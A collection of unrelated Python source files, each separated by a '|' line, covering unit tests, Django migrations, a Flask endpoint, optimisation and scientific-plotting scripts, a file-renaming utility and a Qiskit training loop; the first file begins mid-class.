def __init__(self):
super(MockServer, self).__init__()
def delayed_shutdown(self, seconds):
pass
class TestBackupWatcher(fake_filesystem_unittest.TestCase):
def setUp(self):
config = os.path.abspath(
os.path.dirname(os.path.realpath(__file__)) + "/test_config.yaml"
)
Config.clear() # in case left unclean by a previous test case
Config.init(config)
self.mock_backup_operation = MagicMock()
self.mock_backup_file = MagicMock()
sys.modules["core"] = Mock()
sys.modules["core.models"] = Mock(BackupOperation=self.mock_backup_operation,
BackupFile=self.mock_backup_file)
# needed because decorators.py imports xos.exceptions
self.sys_path_save = sys.path
sys.path = [XOS_DIR] + sys.path
import decorators
decorators.disable_check_db_connection_decorator = True
import backupsetwatcher
self.backupsetwatcher = backupsetwatcher
self.setUpPyfakefs()
self.server = MockServer()
self.watcher = backupsetwatcher.BackupSetWatcherThread(self.server)
def tearDown(self):
sys.path = self.sys_path_save
def test_init_request_dir(self):
self.assertFalse(os.path.exists(self.watcher.backup_request_dir))
# Should create the directory
self.watcher.init_request_dir()
self.assertTrue(os.path.exists(self.watcher.backup_request_dir))
# Should remove any existing files
fn = os.path.join(self.watcher.backup_request_dir, "foo")
open(fn, "w").write("foo")
self.watcher.init_request_dir()
self.assertFalse(os.path.exists(fn))
def test_process_response_create_noexist(self):
file_details = {"checksum": "1234"}
response = {"file_details": file_details}
self.backupsetwatcher.BackupOperation.objects.filter.return_value = []
with self.assertRaises(self.backupsetwatcher.BackupDoesNotExist):
self.watcher.process_response_create(uuid="one", operation="create", status="created", response=response)
def test_process_response_create(self):
file_details = {"checksum": "1234"}
response = {"file_details": file_details,
"effective_date": "today"}
file = MagicMock()
op = MagicMock(file=file)
self.backupsetwatcher.BackupOperation.objects.filter.return_value = [op]
self.watcher.process_response_create(uuid="one", operation="create", status="created", response=response)
self.assertEqual(op.file.checksum, "1234")
op.file.save.assert_called()
self.assertEqual(op.status, "created")
self.assertEqual(op.error_msg, "")
self.assertEqual(op.effective_date, "today")
op.save.assert_called()
def test_process_response_restore_noexist(self):
file_details = {"id": 7,
"name": "mybackup",
"uri": "file:///mybackup",
"checksum": "1234",
"backend_filename": "/mybackup"}
response = {"file_details": file_details,
"effective_date": "today"}
mockvars = {}
self.backupsetwatcher.BackupFile.objects.filter.return_value = []
self.backupsetwatcher.BackupFile.side_effect = functools.partial(make_model, mockvars, "newfile")
self.backupsetwatcher.BackupOperation.objects.filter.return_value = []
self.backupsetwatcher.BackupOperation.side_effect = functools.partial(make_model, mockvars, "newop")
self.watcher.process_response_restore(uuid="one", operation="restore", status="restored", response=response)
newfile = mockvars["newfile"]
self.assertEqual(newfile.name, "mybackup")
self.assertEqual(newfile.uri, "file:///mybackup")
self.assertEqual(newfile.checksum, "1234")
self.assertEqual(newfile.backend_filename, "/mybackup")
newop = mockvars["newop"]
self.assertEqual(newop.operation, "restore")
self.assertEqual(newop.file, newfile)
self.assertEqual(newop.status, "restored")
self.assertEqual(newop.error_msg, "")
self.assertEqual(newop.effective_date, "today")
newop.save.assert_called()
def test_process_response_restore_exists(self):
file_details = {}
response = {"file_details": file_details,
"effective_date": "today"}
file = MagicMock()
op = MagicMock(file=file)
self.backupsetwatcher.BackupOperation.objects.filter.return_value = [op]
self.watcher.process_response_restore(uuid="one", operation="restore", status="restored", response=response)
self.assertEqual(op.status, "restored")
self.assertEqual(op.error_msg, "")
self.assertEqual(op.effective_date, "today")
op.save.assert_called()
def test_process_response_dir_create(self):
# BackupSetWatcher's __init__ method will have already called process_response_dir
# This means the backup_response_dir will be already created.
self.assertTrue(os.path.exists(self.watcher.backup_response_dir))
file_details = {"backend_filename": "/mybackup"}
resp = {"uuid": "seven", "operation": "create", "status": "created", "file_details": file_details}
resp_fn = os.path.join(self.watcher.backup_response_dir, "response")
with open(resp_fn, "w") as resp_f:
resp_f.write(json.dumps(resp))
with patch.object(self.watcher, "process_response_create") as process_response_create, \
patch.object(self.watcher, "process_response_restore") as process_response_restore:
self.watcher.process_response_dir()
process_response_create.assert_called()
process_response_restore.assert_not_called()
def test_process_response_dir_restore(self):
# BackupSetWatcher's __init__ method will have already called process_response_dir
# This means the backup_response_dir will be already created.
self.assertTrue(os.path.exists(self.watcher.backup_response_dir))
file_details = {"backend_filename": "/mybackup"}
resp = {"uuid": "seven", "operation": "restore", "status": "restored", "file_details": file_details}
resp_fn = os.path.join(self.watcher.backup_response_dir, "response")
with open(resp_fn, "w") as resp_f:
resp_f.write(json.dumps(resp))
with patch.object(self.watcher, "process_response_create") as process_response_create, \
patch.object(self.watcher, "process_response_restore") as process_response_restore:
self.watcher.process_response_dir()
process_response_create.assert_not_called()
process_response_restore.assert_called()
def test_save_request(self):
file = Mock(id=7,
uri="file:///mybackup",
checksum="1234",
backend_filename="/mybackup")
file.name = "mybackup",
request = Mock(id=3,
uuid="three",
file=file,
operation="create")
os.makedirs(self.watcher.backup_request_dir)
self.watcher.save_request(request)
req_fn = os.path.join(self.watcher.backup_request_dir, "request")
data = json.loads(open(req_fn).read())
expected_data = {u'operation': u'create',
u'id': 3,
u'uuid': "three",
u'file_details': {u'backend_filename': u'/mybackup',
u'checksum': u'1234',
u'uri': u'file:///mybackup',
u'name': [u'mybackup'],
u'id': 7}}
self.assertDictEqual(data, expected_data)
def test_run_once_create(self):
file = Mock(id=7,
uri="file:///var/run/xos/backup/local/mybackup",
checksum="1234")
file.name = "mybackup",
request = Mock(id=3,
uuid="three",
file=file,
component="xos",
operation="create",
status=None)
self.backupsetwatcher.BackupOperation.objects.filter.return_value = [request]
with patch.object(self.watcher, "save_request") as save_request, \
patch.object(self.server, "delayed_shutdown") as delayed_shutdown:
self.watcher.run_once()
self.assertEqual(save_request.call_count, 1)
saved_op = save_request.call_args[0][0]
self.assertEqual(request, saved_op)
self.assertEqual(saved_op.status, "inprogress")
self.assertEqual(saved_op.file.backend_filename, "/var/run/xos/backup/local/mybackup")
self.assertTrue(self.watcher.exiting)
delayed_shutdown.assert_called()
def test_run_once_restore(self):
file = Mock(id=7,
uri="file:///var/run/xos/backup/local/mybackup",
checksum="1234")
file.name = "mybackup",
request = Mock(id=3,
uuid="three",
file=file,
component="xos",
operation="restore",
status=None)
self.backupsetwatcher.BackupOperation.objects.filter.return_value = [request]
with patch.object(self.watcher, "save_request") as save_request, \
patch.object(self.server, "delayed_shutdown") as delayed_shutdown:
self.watcher.run_once()
self.assertEqual(save_request.call_count, 1)
saved_op = save_request.call_args[0][0]
self.assertEqual(request, saved_op)
self.assertEqual(saved_op.status, "inprogress")
self.assertEqual(saved_op.file.backend_filename, "/var/run/xos/backup/local/mybackup")
self.assertTrue(self.watcher.exiting)
delayed_shutdown.assert_called()
def test_run_once_not_xos(self):
file = Mock(id=7,
uri="file:///var/run/xos/backup/local/mybackup",
checksum="1234")
file.name = "mybackup",
request = Mock(id=3,
uuid="three",
file=file,
component="somethingelse",
operation="create",
status=None)
self.backupsetwatcher.BackupOperation.objects.filter.return_value = [request]
with patch.object(self.watcher, "save_request") as save_request, \
patch.object(self.server, "delayed_shutdown") as delayed_shutdown:
self.watcher.run_once()
save_request.assert_not_called()
delayed_shutdown.assert_not_called()
def main():
unittest.main()
if __name__ == "__main__":
main()
|
from flask import (Blueprint, jsonify)
from flask_jwt_extended import jwt_required
from mal import Anime
from models.schemas import AnimeSchema
bp_anime = Blueprint(name="bp_anime", import_name=__name__)
class AnimeObj():
def __init__(self, mal_id, title, score, genres, duration, rating, image_url):
self.mal_id = mal_id
self.title = title
self.score = score
self.genres = genres
self.duration = duration
self.rating = rating
self.image_url = image_url
@bp_anime.route("/anime/<int:mal_id>", methods=["GET"])
@jwt_required()
def anime_by_id(mal_id):
anime = Anime(mal_id)
anime_obj = AnimeObj(mal_id=anime.mal_id,
title=anime.title,
score=anime.score,
genres=anime.genres,
duration=anime.duration,
rating=anime.rating,
image_url=anime.image_url)
return jsonify(AnimeSchema().dump(anime_obj)), 200
# @bp_anime.route("/hello", methods=["GET"])
# def hello():
# return jsonify("hello"), 200
|
from pyomo.environ import *
def pyomo_create_model(options):
model = Model()
model.Locations = Set()
model.P = Param()
model.Customers = Set()
model.ValidIndices = Set(within=model.Locations*model.Customers)
model.d = Param(model.Locations, model.Customers, within=Reals)
model.x = Var(model.Locations, model.Customers, bounds=(0.0,1.0))
model.y = Var(model.Locations, within=Binary)
def obj_rule(model):
return sum(model.d[n,m]*model.x[n,m] for (n,m) in model.ValidIndices)/len(model.Customers)
model.obj = Objective(rule=obj_rule)
def single_x_rule(m, model):
return sum(model.x[n,m] for n in model.Locations if (n,m) in model.ValidIndices) == 1.0
model.single_x = Constraint(model.Customers, rule=single_x_rule)
def bound_y_rule(n,m,model):
return model.x[n,m] <= model.y[n]
model.bound_y = Constraint(model.ValidIndices, rule=bound_y_rule)
def num_facilities_rule(model):
return sum(model.y[n] for n in model.Locations if n != -1) <= model.P
model.num_facilities = Constraint(rule=num_facilities_rule)
return model
|
from django.shortcuts import render
def handler500(request):
return render(request, '500.html', status=500)
|
import discord
from discord.ext import commands
from checks import Checks
class Misc(commands.Cog):
def __init__(self, bot):
self.bot = bot
@commands.command()
async def ping(self, ctx):
await ctx.send('Pong!')
@commands.command()
async def pong(self, ctx):
await ctx.send('Ping!')
def setup(bot):
bot.add_cog(Misc(bot))
|
# -*- coding: utf-8 -*-
# @Author: luoling
# @Date: 2019-11-26 12:13:34
# @Last Modified by: luoling
# @Last Modified time: 2019-12-09 11:22:29
from .dfanet import DFANet
from .unet import UNet
from .danet import DANet
from .dabnet import DABNet
from .ce2p import CE2P
from .ehanet import EHANet18
from .parsenet18 import FaceParseNet18, FaceParseNet34
from .parsenet50 import FaceParseNet50, FaceParseNet101
def get_model(model, url=None, n_classes=19, pretrained=True):
if model == 'DFANet':
net = DFANet(num_classes=n_classes)
elif model == 'UNet':
net = UNet(n_classes=n_classes)
elif model == 'DANet':
net = DANet(num_classes=n_classes)
elif model == 'DABNet':
net = DABNet(classes=n_classes)
elif model == 'CE2P':
net = CE2P(num_classes=n_classes, url=url, pretrained=pretrained)
elif model == 'FaceParseNet18':
net = FaceParseNet18(num_classes=n_classes, pretrained=pretrained)
elif model == 'FaceParseNet34':
net = FaceParseNet34(num_classes=n_classes, pretrained=pretrained)
elif model == 'FaceParseNet50':
net = FaceParseNet50(num_classes=n_classes, pretrained=pretrained)
elif model == 'FaceParseNet101':
net = FaceParseNet101(num_classes=n_classes, pretrained=pretrained)
elif model == 'EHANet18':
net = EHANet18(num_classes=n_classes, pretrained=pretrained)
else:
raise ValueError("No corresponding model was found...")
return net
|
from sequana import Quality
from sequana import phred
def test_quality():
q = Quality('ABC')
q.plot()
assert q.mean_quality == 33
q = phred.QualitySanger('ABC')
q = phred.QualitySolexa('ABC')
def test_ascii_to_quality():
assert phred.ascii_to_quality("!") == 0
assert phred.ascii_to_quality("~") == 93
def test_quality_to_ascii():
assert phred.quality_to_ascii(65) == "b"
assert phred.quality_to_ascii(32) == "A"
assert phred.quality_to_ascii(32, phred=64) == "`"
def test_quality_to_proba():
assert phred.quality_to_proba_sanger(0) == 1
assert phred.quality_to_proba_sanger(40) == 0.0001
def test_others():
#sanger proba quality
assert phred.proba_to_quality_sanger(0) == 93
assert phred.proba_to_quality_sanger(0.0001) == 40
assert phred.proba_to_quality_sanger(1) == 0
assert phred.proba_to_quality_sanger(2) == 0
# solexa proba quality
assert phred.proba_to_quality_solexa(0) == 62
assert abs(phred.proba_to_quality_solexa(0.0001) - 40) < 1e-3
assert phred.proba_to_quality_solexa(0.99) == -5
assert phred.proba_to_quality_solexa(2) == -5
# solexa and sanger quality are similar. In this exampl, sanger ones
# is slighlty larger
assert phred.quality_solexa_to_quality_sanger(64) > 64.
#
# inverse here
assert phred.quality_sanger_to_quality_solexa(64) < 64
assert phred.quality_sanger_to_quality_solexa(64) > 63.99
|
from multimds import data_tools as dt
from multimds import compartment_analysis as ca
import numpy as np
from sklearn import svm
from multimds import linear_algebra as la
from mayavi import mlab
struct = dt.structure_from_file("hic_data/GM12878_combined_21_100kb_structure.tsv")
new_start = struct.chrom.getAbsoluteIndex(15000000)
struct.subsamplePoints(new_start, len(struct.points)-3)
#compartments
contacts = dt.matFromBed("hic_data/GM12878_combined_21_100kb.bed", struct)
compartments = np.array(ca.get_compartments(contacts, struct))
#SVR
coords = struct.getCoords()
clf = svm.LinearSVR()
clf.fit(coords, compartments)
coef = clf.coef_
transformed_coords = np.array(la.change_coordinate_system(coef, coords))
xs = transformed_coords[:,0]
min_x = min(xs)
max_x = max(xs)
x_range = max_x - min_x
ys = transformed_coords[:,1]
min_y = min(ys)
max_y = max(ys)
y_range = max_y - min_y
zs = transformed_coords[:,2]
min_z = min(zs)
max_z = max(zs)
mlab.figure(bgcolor=(1,1,1))
mlab.plot3d(xs, ys, zs, compartments, colormap="bwr")
x_coord = max_x + x_range/10
y_coord = max_y + y_range/10
mlab.quiver3d([0], [0], [1], extent=[0, 0, 0, 0, min_z, max_z], color=(0,0,0), line_width=8)
mlab.savefig("sup8.png")
|
# Generated by Django 2.2 on 2020-04-01 18:04
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='HighestQualification',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=120)),
],
),
migrations.CreateModel(
name='Lga',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=120)),
],
),
migrations.CreateModel(
name='Profession',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=120)),
],
),
migrations.CreateModel(
name='Specialization',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=120)),
],
),
migrations.CreateModel(
name='State',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=120)),
],
),
migrations.CreateModel(
name='Ward',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=120)),
],
),
migrations.CreateModel(
name='Volunteer',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('entryID', models.CharField(blank=True, default='', max_length=120)),
('first_Name', models.CharField(max_length=120)),
('middle_Name', models.CharField(max_length=120)),
('surname', models.CharField(max_length=120)),
('dob', models.DateField(max_length=120)),
('sex', models.CharField(max_length=120)),
('polling_Unit', models.CharField(max_length=120)),
('geolocation', models.CharField(max_length=120)),
('prepared_State_of_To_Be_Involved', models.CharField(choices=[('kaduna', 'Kaduna'), ('lagos', 'Lagos'), ('abuja', 'Abuja'), ('oyo', 'Oyo'), ('ogun', 'Ogun'), ('bauchi', 'Bauchi'), ('enugu', 'Enugu'), ('edo', 'Edo'), ('osun', 'Osun'), ('benue', 'Benue'), ('ekiti', 'Ekiti')], max_length=120)),
('prepared_Start_DateTobeInvolved', models.DateField(max_length=120)),
('prepared_EndDate_To_be_Involved', models.DateField(max_length=120)),
('prepared_Days_To_be_Involved', models.CharField(choices=[('monday', 'Monday'), ('tuesday', 'Tuesday'), ('sunday', 'Sunday')], max_length=120)),
('email', models.EmailField(max_length=254, unique=True)),
('phone_Number', models.CharField(max_length=120)),
('date_Of_Entry', models.DateField(max_length=120)),
('picture', models.ImageField(blank=True, upload_to='volunteer/')),
('lga', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='lga', to='volunteer.Lga')),
('profession', models.ManyToManyField(related_name='profession', to='volunteer.Profession')),
('qualification', models.ManyToManyField(related_name='qualification', to='volunteer.HighestQualification')),
('specialization', models.ManyToManyField(blank=True, related_name='specialazation', to='volunteer.Specialization')),
('state', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='state', to='volunteer.State')),
('ward', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='ward', to='volunteer.Ward')),
],
),
migrations.CreateModel(
name='ReportCase',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('first_Name', models.CharField(max_length=120)),
('middle_Name', models.CharField(max_length=120)),
('surname', models.CharField(max_length=120)),
('sex', models.CharField(max_length=120)),
('polling_Unit', models.CharField(max_length=120)),
('geolocation', models.CharField(max_length=120)),
('email', models.EmailField(max_length=254, unique=True)),
('phone_Number', models.CharField(max_length=120)),
('description', models.TextField(blank=True, default='', null=True)),
('reportDate', models.DateField(max_length=120)),
('lga', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='reportCases', to='volunteer.Lga')),
('state', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='reportCases', to='volunteer.State')),
('ward', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='reportCases', to='volunteer.Ward')),
],
),
]
|
# D.1. python CODE
def bubbleSort(array):
n = len(array)
swapped = True
status = True
try:
while swapped == True:
swapped = False
for i in range(1, n):
if array[i - 1] > array[i]:
#swap(array[i-1], array[i])
tmp = array[i - 1]
array[i - 1] = array[i]
array[i] = tmp
swapped = True
except:
status = False
return (status, array)
'''
#TESTING CODE FOR 'BubbleSort'
a = [4,2,3,8,7,12,1,-1]
print bubbleSort(a)
'''
|
"""The tests for the Ring component."""
from datetime import timedelta
import homeassistant.components.ring as ring
from homeassistant.setup import async_setup_component
from tests.common import load_fixture
ATTRIBUTION = "Data provided by Ring.com"
VALID_CONFIG = {
"ring": {"username": "foo", "password": "bar", "scan_interval": timedelta(10)}
}
async def test_setup(hass, requests_mock):
"""Test the setup."""
await async_setup_component(hass, ring.DOMAIN, {})
requests_mock.post(
"https://oauth.ring.com/oauth/token", text=load_fixture("ring_oauth.json")
)
requests_mock.post(
"https://api.ring.com/clients_api/session",
text=load_fixture("ring_session.json"),
)
requests_mock.get(
"https://api.ring.com/clients_api/ring_devices",
text=load_fixture("ring_devices.json"),
)
requests_mock.get(
"https://api.ring.com/clients_api/chimes/999999/health",
text=load_fixture("ring_chime_health_attrs.json"),
)
requests_mock.get(
"https://api.ring.com/clients_api/doorbots/987652/health",
text=load_fixture("ring_doorboot_health_attrs.json"),
)
assert await ring.async_setup(hass, VALID_CONFIG)
|
# -*- coding: utf-8 -*-
# Copyright (c) 2018-2021, Eduardo Rodrigues and Henry Schreiner.
#
# Distributed under the 3-clause BSD license, see accompanying file LICENSE
# or https://github.com/scikit-hep/decaylanguage for details.
import pytest
from pytest import approx
from decaylanguage.decay.decay import DaughtersDict
from decaylanguage.decay.decay import DecayMode
from decaylanguage.decay.decay import DecayChain
def test_DaughtersDict_constructor_from_dict():
dd = DaughtersDict({"K+": 1, "K-": 2, "pi+": 1, "pi0": 1})
assert dd == {"K+": 1, "K-": 2, "pi+": 1, "pi0": 1}
def test_DaughtersDict_constructor_from_list():
dd = DaughtersDict(["K+", "K-", "K-", "pi+", "pi0"])
assert dd == {"K+": 1, "K-": 2, "pi+": 1, "pi0": 1}
def test_DaughtersDict_constructor_from_string():
dd = DaughtersDict("K+ K- pi0")
assert dd == {"K+": 1, "K-": 1, "pi0": 1}
def test_DaughtersDict_string_repr():
dd = DaughtersDict(["K+", "K-", "K-", "pi+", "pi0"])
assert dd.__str__() == "<DaughtersDict: ['K+', 'K-', 'K-', 'pi+', 'pi0']>"
def test_DaughtersDict_len():
dd = DaughtersDict({"K+": 1, "K-": 3, "pi0": 1})
assert len(dd) == 5
def test_DaughtersDict_add():
dd1 = DaughtersDict({"K+": 1, "K-": 2, "pi0": 3})
dd2 = DaughtersDict({"K+": 1, "K-": 1})
dd3 = dd1 + dd2
assert len(dd3) == 8
def test_DaughtersDict_to_string():
dd1 = DaughtersDict({"K+": 1, "K-": 2, "pi0": 3})
assert dd1.to_string() == "K+ K- K- pi0 pi0 pi0"
def test_DecayMode_constructor_default():
dm = DecayMode()
assert dm.bf == 0
assert dm.daughters == DaughtersDict()
assert dm.metadata == dict(model="", model_params="")
def test_DecayMode_constructor_simplest():
dm = DecayMode(0.1234, "K+ K-")
assert dm.bf == 0.1234
assert dm.daughters == DaughtersDict("K+ K-")
assert dm.metadata == dict(model="", model_params="")
def test_DecayMode_constructor_simple():
dd = DaughtersDict("K+ K-")
dm = DecayMode(0.1234, dd)
assert dm.bf == 0.1234
assert dm.daughters == DaughtersDict("K+ K-")
assert dm.metadata == dict(model="", model_params="")
def test_DecayMode_constructor_with_model_info():
dd = DaughtersDict("pi- pi0 nu_tau")
dm = DecayMode(
0.2551, dd, model="TAUHADNU", model_params=[-0.108, 0.775, 0.149, 1.364, 0.400]
)
assert dm.metadata == {
"model": "TAUHADNU",
"model_params": [-0.108, 0.775, 0.149, 1.364, 0.4],
}
def test_DecayMode_constructor_with_user_metadata():
dd = DaughtersDict("K+ K-")
dm = DecayMode(0.5, dd, model="PHSP", study="toy", year=2019)
assert dm.metadata == {
"model": "PHSP",
"model_params": "",
"study": "toy",
"year": 2019,
}
def test_DecayMode_constructor_from_pdgids_default():
dm = DecayMode.from_pdgids()
assert dm.bf == 0
assert dm.daughters == DaughtersDict()
assert dm.metadata == dict(model="", model_params="")
def test_DecayMode_constructor_from_pdgids():
dm = DecayMode.from_pdgids(
0.5,
[321, -321],
model="TAUHADNU",
model_params=[-0.108, 0.775, 0.149, 1.364, 0.400],
)
assert dm.daughters == DaughtersDict("K+ K-")
def test_DecayMode_constructor_from_dict():
dm = DecayMode.from_dict(
{"bf": 0.98823, "fs": ["gamma", "gamma"], "model": "PHSP", "model_params": ""}
)
assert str(dm) == "<DecayMode: daughters=gamma gamma, BF=0.98823>"
def test_DecayMode_describe_simple():
dd = DaughtersDict("pi- pi0 nu_tau")
dm = DecayMode(
0.2551, dd, model="TAUHADNU", model_params=[-0.108, 0.775, 0.149, 1.364, 0.400]
)
assert "BF: 0.2551" in dm.describe()
assert "Decay model: TAUHADNU [-0.108, 0.775, 0.149, 1.364, 0.4]" in dm.describe()
def test_DecayMode_describe_with_user_metadata():
dd = DaughtersDict("K+ K-")
dm = DecayMode(1.0e-6, dd, model="PHSP", study="toy", year=2019)
assert "Extra info:" in dm.describe()
assert "study: toy" in dm.describe()
assert "year: 2019" in dm.describe()
def test_DecayMode_charge_conjugate():
dd = DaughtersDict("pi- pi0 nu_tau")
dm = DecayMode(
0.2551, dd, model="TAUHADNU", model_params=[-0.108, 0.775, 0.149, 1.364, 0.400]
)
dm_cc = dm.charge_conjugate()
assert dm_cc.daughters == DaughtersDict("pi+ pi0 anti-nu_tau")
assert "BF: 0.2551" in dm.describe()
assert "Decay model: TAUHADNU [-0.108, 0.775, 0.149, 1.364, 0.4]" in dm.describe()
dd = DaughtersDict("pi- pi0 nu(tau)")
assert dd.charge_conjugate(pdg_name=True) == DaughtersDict("pi+ pi0 nu(tau)~")
def test_DecayMode_string_repr():
dd = DaughtersDict("p p~ K+ pi-")
dm = DecayMode(1.0e-6, dd, model="PHSP")
assert str(dm) == "<DecayMode: daughters=K+ p pi- p~, BF=1e-06>"
def test_DecayMode_number_of_final_states():
dd = DaughtersDict("p p~ K+ pi-")
dm = DecayMode(1.0e-6, dd, model="PHSP")
assert len(dm) == 4
@pytest.fixture()
def dc():
dm1 = DecayMode(0.0124, "K_S0 pi0", model="PHSP")
dm2 = DecayMode(0.692, "pi+ pi-")
dm3 = DecayMode(0.98823, "gamma gamma")
return DecayChain("D0", {"D0": dm1, "K_S0": dm2, "pi0": dm3})
@pytest.fixture()
def dc2():
dm1 = DecayMode(0.6770, "D0 pi+")
dm2 = DecayMode(0.0124, "K_S0 pi0")
dm3 = DecayMode(0.692, "pi+ pi-")
dm4 = DecayMode(0.98823, "gamma gamma")
return DecayChain("D*+", {"D*+": dm1, "D0": dm2, "K_S0": dm3, "pi0": dm4})
def test_DecayChain_constructor_subdecays(dc):
assert len(dc.decays) == 3
assert dc.mother == "D0"
def test_DecayChain_constructor_from_dict():
dc_dict = {
"D0": [
{
"bf": 0.0124,
"fs": [
{
"K_S0": [
{
"bf": 0.692,
"fs": ["pi+", "pi-"],
"model": "",
"model_params": "",
}
]
},
{
"pi0": [
{
"bf": 0.98823,
"fs": ["gamma", "gamma"],
"model": "",
"model_params": "",
}
]
},
],
"model": "PHSP",
"model_params": "",
}
]
}
assert DecayChain.from_dict(dc_dict).to_dict() == dc_dict
def test_DecayChain_to_dict(dc2):
assert dc2.to_dict() == {
"D*+": [
{
"bf": 0.677,
"fs": [
{
"D0": [
{
"bf": 0.0124,
"fs": [
{
"K_S0": [
{
"bf": 0.692,
"fs": ["pi+", "pi-"],
"model": "",
"model_params": "",
}
]
},
{
"pi0": [
{
"bf": 0.98823,
"fs": ["gamma", "gamma"],
"model": "",
"model_params": "",
}
]
},
],
"model": "",
"model_params": "",
}
]
},
"pi+",
],
"model": "",
"model_params": "",
}
]
}
def test_DecayChain_properties(dc):
assert dc.bf == 0.0124
assert dc.visible_bf == approx(0.008479803984)
def test_DecayChain_flatten(dc2):
dc2_flatten = dc2.flatten()
assert dc2_flatten.mother == dc2.mother
assert dc2_flatten.bf == dc2_flatten.visible_bf
assert dc2_flatten.decays[dc2.mother].daughters == DaughtersDict(
["gamma", "gamma", "pi+", "pi+", "pi-"]
)
def test_DecayChain_flatten_complex():
dm1 = DecayMode(1.0, "D0 K_S0 pi+ pi0")
dm2 = DecayMode(0.0124, "K_S0 pi0 pi0")
dm3 = DecayMode(0.692, "pi+ pi-")
dm4 = DecayMode(0.98823, "gamma gamma")
dc = DecayChain("X+", {"X+": dm1, "D0": dm2, "K_S0": dm3, "pi0": dm4})
dc_flatten = dc.flatten()
assert dc_flatten.decays[dc_flatten.mother].daughters == DaughtersDict(
{"gamma": 6, "pi+": 3, "pi-": 2}
)
assert dc_flatten.bf == approx(1.0 * 0.0124 * (0.692 ** 2) * (0.98823 ** 3))
def test_DecayChain_flatten_with_stable_particles():
dm1 = DecayMode(0.5, "D0 anti-D0 pi+ pi0 pi0")
dm2 = DecayMode(0.0124, "K_S0 pi0")
dm3 = DecayMode(0.692, "pi+ pi-")
dm4 = DecayMode(0.98823, "gamma gamma")
dc = DecayChain(
"X+", {"X+": dm1, "D0": dm2, "anti-D0": dm2, "K_S0": dm3, "pi0": dm4}
)
dc_flatten = dc.flatten(stable_particles=["pi0"])
assert dc_flatten.decays[dc_flatten.mother].daughters == DaughtersDict(
{"pi0": 4, "pi+": 3, "pi-": 2}
)
assert dc_flatten.bf == approx(0.5 * (0.0124 ** 2) * (0.692 ** 2))
def test_DecayChain_string_repr(dc):
assert str(dc) == "<DecayChain: D0 -> K_S0 pi0 (2 sub-decays), BF=0.0124>"
|
lista = []
print(lista)
|
import js2py
code1='function f(x) {return x+x;}'
f=js2py.eval_js(code1)
print(f)
|
from __future__ import absolute_import, division, print_function
import os.path as op
import numpy as np
import pandas as pd
import numpy.testing as npt
import evp001 as ev
data_path = op.join(sb.__path__[0], 'data')
# n/a
|
# this script below walks through all subdirectories and will look for only tifs
# still need something to confirm or be a little more careful
# need to test that the script runs in a given dir as opposed to where the script lives
# need to figure out best way to tell it to run in a given dir, shebang or keyword arg?
import os
def main():
path = os.getcwd()
for root, dirs, files in os.walk(path):
for file in files:
if file.endswith('.tif'):
if 'Pos' in file:
name_split = file.split('_')
xpos = name_split[-2][-3:]
ypos = name_split[-1][:3]
new_name = 'x' + xpos + '_y' + ypos + '.tif'
src = os.path.join(root, file)
dst = os.path.join(root, new_name)
os.rename(src, dst)
'''
elif not file.startswith('x'):
new_name = file[-13:]
src = os.path.join(root, file)
dst = os.path.join(root, new_name)
os.rename(src, dst)
'''
if __name__ == '__main__':
main()
|
# Generated by Django 3.1.8 on 2021-04-11 04:21
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("core", "0074_location_preferred_contact_method"),
]
operations = [
migrations.AlterModelOptions(
name="callrequest",
options={"ordering": ("priority_group", "-priority", "-id")},
),
migrations.AlterField(
model_name="availabilitytag",
name="previous_names",
field=models.JSONField(
blank=True,
default=list,
help_text="Any previous names used for this tag, used for keeping import scripts working",
),
),
migrations.AlterField(
model_name="location",
name="preferred_contact_method",
field=models.CharField(
blank=True,
choices=[
("research_online", "research_online"),
("outbound_call", "outbound_call"),
],
help_text="Preferred method of collecting status about this location",
max_length=32,
null=True,
),
),
]
|
import sys
from itertools import combinations
import qiskit
import numpy as np
import tqix
sys.path.insert(1, '../')
import qtm.base
import qtm.nqubit
import qtm.fubini_study
def self_tensor(matrix, n):
product = matrix
for i in range(1, n):
product = np.kron(product, matrix)
return product
num_qubits = 5
psi = [0.26424641, 0.23103536, 0.11177099, 0.17962657, 0.18777508, 0.07123707,
0.20165063, 0.27101361, 0.21302122, 0.11930997, 0.09439792, 0.1763813,
0.28546319, 0.0394065, 0.19575109, 0.09014811, 0.12315693, 0.03726953,
0.10579994, 0.26516434, 0.21545716, 0.11265348, 0.20488736, 0.10268576,
0.27819402, 0.0785904, 0.09997989, 0.17438181, 0.16625928, 0.23213874,
0.01231226, 0.18198155]
num_layers = 2
thetas = np.ones(num_layers*num_qubits*4)
qc = qiskit.QuantumCircuit(num_qubits, num_qubits)
qc.initialize(psi, range(0, num_qubits))
loss_values = []
thetass = []
for i in range(0, 400):
grad_loss = qtm.base.grad_loss(
qc,
qtm.nqubit.create_Wchain_layerd_state,
thetas, r=1/2, s=np.pi/2, num_layers=num_layers)
if i == 0:
m, v = list(np.zeros(thetas.shape[0])), list(
np.zeros(thetas.shape[0]))
thetas = qtm.base.adam(thetas, m, v, i, grad_loss)
thetass.append(thetas.copy())
qc_copy = qtm.nqubit.create_Wchain_layerd_state(
qc.copy(), thetas, num_layers)
loss = qtm.base.loss_basis(qtm.base.measure(
qc_copy, list(range(qc_copy.num_qubits))))
